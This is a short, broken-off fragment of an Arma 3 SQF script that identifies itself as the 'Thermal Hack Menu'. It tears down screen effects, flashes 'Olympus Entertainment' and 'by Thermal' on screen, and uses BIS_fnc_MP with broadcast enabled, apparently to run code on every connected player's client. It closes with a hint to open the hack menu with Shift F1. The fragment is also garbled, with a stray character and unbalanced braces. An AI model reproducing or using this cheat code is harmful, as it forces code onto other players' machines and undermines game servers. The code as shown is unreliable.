- ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
- "dynamicBlur"
- ppEffectAdjust[0];
- "dynamicBlur"
- ppEffectCommit 16;
- "colorCorrections"
- ppEffectAdjust[1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
- "colorCorrections"
- ppEffectCommit 0;
- setaperture 0;
- playMusic "";
- sleep 2;
- cutText["Olympus Entertainment", "PLAIN", 1];
- sleep 10;
- cutText["by Thermal", "PLAIN", 1];
- };
- [] spawn PersonWhomMadeThis_is_legit_Bae; g
- }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
- };
- //Last statements
- hint "Shift F1 to open the Thermal Hack Menu!";
- };
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